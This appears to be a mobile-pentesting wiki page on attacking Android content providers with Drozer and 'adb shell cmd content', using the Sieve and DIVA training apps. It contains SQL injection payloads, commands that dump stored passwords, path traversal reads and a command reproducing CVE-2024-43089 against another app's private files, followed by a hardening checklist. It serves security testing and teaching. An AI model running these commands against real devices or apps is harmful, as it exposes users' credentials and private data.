# Exploiting Content Providers

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## Intro

Data is **supplied from one application to others** on request by a component known as a **content provider**. These requests are managed through the **ContentResolver class** methods. Content providers can store their data in various locations, such as a **database**, **files**, or over a **network**.

In the _Manifest.xml_ file, the declaration of the content provider is required. For instance:

```xml
<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
    <path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>
```

To access `content://com.mwr.example.sieve.DBContentProvider/Keys`, the `READ_KEYS` permission is necessary. It's interesting to note that the path `/Keys/` is accessible in the following section, which is not protected due to a mistake by the developer, who secured `/Keys` but declared `/Keys/`.

**Maybe you can access private data or exploit some vulnerability (SQL Injection or Path Traversal).**

## Get info from **exposed content providers**

```
dz> run app.provider.info -a com.mwr.example.sieve
  Package: com.mwr.example.sieve
  Authority: com.mwr.example.sieve.DBContentProvider
  Read Permission: null
  Write Permission: null
  Content Provider: com.mwr.example.sieve.DBContentProvider
  Multiprocess Allowed: True
  Grant Uri Permissions: False
  Path Permissions:
  Path: /Keys
  Type: PATTERN_LITERAL
  Read Permission: com.mwr.example.sieve.READ_KEYS
  Write Permission: com.mwr.example.sieve.WRITE_KEYS
  Authority: com.mwr.example.sieve.FileBackupProvider
  Read Permission: null
  Write Permission: null
  Content Provider: com.mwr.example.sieve.FileBackupProvider
  Multiprocess Allowed: True
  Grant Uri Permissions: False
```

It's possible to piece together how to reach the **DBContentProvider** by starting URIs with “_content://_”. This approach is based on insights gained from using Drozer, where key information was located in the _/Keys_ directory.

Drozer can **guess and try several URIs**:

```
dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
```

You should also check the **ContentProvider code** to search for queries:

![](<../../../images/image (121) (1) (1) (1).png>)

Also, if you can't find full queries you could **check which names are declared by the ContentProvider** on the `onCreate` method:

![](<../../../images/image (564).png>)

The query will be like: `content://name.of.package.class/declared_name`

## **Database-backed Content Providers**

Probably most of the Content Providers are used as **interface** for a **database**. Therefore, if you can access it you could be able to **extract, update, insert and delete** information.\
Check if you can **access sensitive information** or try to change it to **bypass authorisation** mechanisms.

When checking the code of the Content Provider **look** also for **functions** named like: _query, insert, update and delete_:

![](<../../../images/image (887).png>)

![](<../../../images/image (254) (1) (1) (1) (1) (1) (1) (1).png>)

Because you will be able to call them

### Query content

```
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com
```

### Insert content

Quering the database you will learn the **name of the columns**, then, you could be able to insert data in the DB:

![](<../../../images/image (98).png>)

![](<../../../images/image (173).png>)

_Note that in insert and update you can use --string to indicate string, --double to indicate a double, --float, --integer, --long, --short, --boolean_

### Update content

Knowing the name of the columns you could also **modify the entries**:

![](<../../../images/image (780).png>)

### Delete content

![](<../../../images/image (423).png>)

### **SQL Injection**

It is simple to test for SQL injection **(SQLite)** by manipulating the **projection** and **selection fields** that are passed to the content provider.\
When quering the Content Provider there are 2 interesting arguments to search for information: _--selection_ and _--projection_:

![](<../../../images/image (784).png>)

You can try to **abuse** this **parameters** to test for **SQL injections**:

```
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
```

```
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type  | name             | tbl_name         | rootpage | sql              |
| table | android_metadata | android_metadata | 3        | CREATE TABLE ... |
| table | Passwords        | Passwords        | 4        | CREATE TABLE ... |
```

**Automatic SQLInjection discovery by Drozer**

```
dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
  content://com.mwr.example.sieve.DBContentProvider/Keys/
  content://com.mwr.example.sieve.DBContentProvider/Passwords
  content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
  content://com.mwr.example.sieve.DBContentProvider/Keys/
  content://com.mwr.example.sieve.DBContentProvider/Passwords
  content://com.mwr.example.sieve.DBContentProvider/Passwords/

dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
  android_metadata
  notes
  sqlite_sequence
```

## **File System-backed Content Providers**

Content providers could be also used to **access files:**

![](<../../../images/image (407).png>)

### Read **file**

You can read files from the Content Provider

```
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1            localhost
```

### **Path Traversal**

If you can access files, you can try to abuse a Path Traversal (in this case this isn't necessary but you can try to use "_../_" and similar tricks).

```
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1            localhost
```

**Automatic Path Traversal discovery by Drozer**

```
dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
  content://com.mwr.example.sieve.FileBackupProvider/
  content://com.mwr.example.sieve.FileBackupProvider
```

## 2023-2025 Updates & Modern Tips

### Drozer 3.x (Python 3) is out

WithSecure resumed maintenance of drozer in 2022 and ported the framework to **Python 3** (latest **3.1.0 – April 2024**).  
Besides compatibility fixes, new modules that are particularly useful when working with Content Providers include:

* `scanner.provider.exported` – list only providers with `android:exported="true"`.
* `app.provider.grant` – automatically call `grantUriPermission()` so you can talk to providers that expect `FLAG_GRANT_READ_URI_PERMISSION` / `FLAG_GRANT_WRITE_URI_PERMISSION` on Android 12+.
* Better handling of **Scoped Storage** so file-based providers on Android 11+ can still be reached.

Upgrade (host & agent):

```bash
pipx install --force "git+https://github.com/WithSecureLabs/drozer@v3.1.0"
adb install drozer-agent-3.1.0.apk
```

### Using the built-in `cmd content` helper (ADB ≥ 8.0)

All modern Android devices ship with a CLI that can query/update providers **without installing any agent**:

```bash
adb shell cmd content query  --uri content://com.test.provider/items/
adb shell cmd content update --uri content://com.test.provider/items/1 \
      --bind price:d:1337
adb shell cmd content call   --uri content://com.test.provider  \
      --method evilMethod --arg 'foo'
```

Combine it with `run-as <pkg>` or a rooted shell to test internal-only providers.

### Recent real-world CVEs that abused Content Providers

| CVE | Year | Component | Bug class | Impact |
|-----|------|-----------|-----------|--------|
| CVE-2024-43089 | 2024 | MediaProvider | Path traversal in `openFile()` | Arbitrary file read from any app’s private storage |
| CVE-2023-35670 | 2023 | MediaProvider | Path traversal | Information disclosure |

Re-create CVE-2024-43089 on a vulnerable build:

```bash
adb shell cmd content read \
  --uri content://media/external_primary/file/../../data/data/com.target/shared_prefs/foo.xml
```

### Hardening checklist for API 30+

* Declare `android:exported="false"` unless the provider **must** be public – from API 31 the attribute is mandatory.
* Enforce **permissions** and/or `android:grantUriPermissions="true"` instead of exporting the whole provider.
* Whitelist allowed `projection`, `selection` and `sortOrder` arguments (e.g. build queries with `SQLiteQueryBuilder.setProjectionMap`).
* In `openFile()` canonicalise the requested path (`FileUtils`) and reject `..` sequences to prevent traversal.
* When exposing files prefer **Storage Access Framework** or a `FileProvider`.

These changes in recent Android versions mean many legacy exploitation primitives still work, but require additional flags/permissions that the updated drozer modules or `cmd content` helper can apply automatically.

## References

- [https://www.tutorialspoint.com/android/android_content_providers.htm](https://www.tutorialspoint.com/android/android_content_providers.htm)
- [https://manifestsecurity.com/android-application-security-part-15/](https://manifestsecurity.com/android-application-security-part-15/)
- [https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)
- [https://github.com/WithSecureLabs/drozer/releases/tag/3.1.0](https://github.com/WithSecureLabs/drozer/releases/tag/3.1.0)
- [https://source.android.com/security/bulletin/2024-07-01](https://source.android.com/security/bulletin/2024-07-01)

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